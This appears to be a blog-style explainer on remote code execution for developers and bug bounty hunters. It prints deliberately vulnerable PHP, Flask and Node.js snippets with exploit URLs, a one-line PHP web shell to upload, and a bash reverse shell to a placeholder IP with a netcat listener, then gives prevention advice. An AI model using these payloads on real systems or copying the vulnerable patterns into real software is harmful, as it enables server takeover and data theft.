What is Remote Code Execution (RCE)? | Bug Bounty, Exploits, and Prevention

 

Introduction to Remote Code Execution

Remote Code Execution (RCE) is a critical web vulnerability that allows attackers to run arbitrary commands on a remote server. RCE bugs are dangerous because they give hackers control over your infrastructure, data, and application.

If you're a developer, security analyst, or bug bounty hunter, understanding how RCE works is essential in 2025 and beyond.

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🔍 Why RCE is So Dangerous in Web Applications

• Full server takeover possible

• Can lead to data leaks, ransomware, and internal pivoting

• Attackers can install backdoors, web shells, or malware

• Often results in critical CVSS scores and high-value bug bounty payouts

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💡 How Does RCE Happen?

Remote Code Execution occurs when untrusted input is executed by the server via:

• System commands (e.g. system(), exec(), popen())

• Unsafe file uploads

• Deserialization of untrusted data

• Template rendering engines (SSTI vulnerabilities)

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🔧 Real-World RCE Examples (With Payloads)

1. PHP RCE using system()

<?php
$cmd = $_GET['cmd'];
system($cmd);
?>

Exploit URL:
http://example.com/shell.php?cmd=whoami

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2. Python Flask + os.system()

@app.route('/run')
def run():
    os.system(request.args.get('cmd'))

Test this:
http://example.com/run?cmd=id

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3. Node.js + child_process.exec()

const exec = require(\"child_process\").exec;
app.get(\"/exec\", (req, res) => {
  exec(req.query.cmd, (err, stdout, stderr) => {
    res.send(stdout);
  });
});

Payload:
http://example.com/exec?cmd=ls

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⚠️ RCE via File Upload (Web Shell Method)

Upload a file like this:

<?php system($_GET['cmd']); ?>

Then visit:
http://target.com/uploads/shell.php?cmd=ls

Congratulations — you have code execution!

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🧪 From RCE to Reverse Shell

Once RCE is confirmed, attackers can go for full shell access.

Reverse Shell Payload (Linux):

bash -i >& /dev/tcp/YOUR-IP/4444 0>&1

Set Up a Listener:

nc -lvnp 4444

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🔥 Top RCE CVEs Used in Real Attacks

• GitLab RCE (CVE-2021-22205): Improper image handling led to code execution.

• vBulletin RCE (CVE-2019-16759): Template injection without authentication.

• Atlassian Confluence RCE (CVE-2022-26134): OGNL injection exploited in the wild.

These vulnerabilities were used in real-world cyber attacks and widely exploited.

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 Tools to Detect RCE

• Burp Suite + extensions

• Commix (Command Injection Exploiter)

• ffuf / dirsearch (Directory fuzzing)

• Interactsh (Detect blind RCE via DNS/HTTP callbacks)

🛡️ How to Prevent Remote Code Execution

✅ Best Practices:

• Use safe APIs instead of eval, exec, or system

• Sanitize and validate all user input

• Use parameterized queries and strict file upload rules

• Run your apps with least privilege (non-root users)

• Disable dangerous functions in PHP (exec, system, etc.)

🚫 Avoid:

• Allowing raw user input to reach the OS

• Relying on blacklists instead of whitelists

• Using eval-based templates or insecure render engines

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🎯 Why Bug Bounty Hunters Love RCE

• Usually rated Critical or High severity

• Can lead to remote shell, database access, and credential theft

• Frequently rewarded with thousands of dollars in bounty programs

• Makes a strong entry in public Hall of Fame pages.

Remote Code Execution (RCE) is more than just a vulnerability — it’s a gateway to full server control. Whether you're on offense (bug bounty/pentest) or defense (DevSecOps/developer), mastering RCE is essential.

🔐 As a developer: Never trust user input.
🎯 As a hacker: Test every endpoint like it’s hiding a backdoor.

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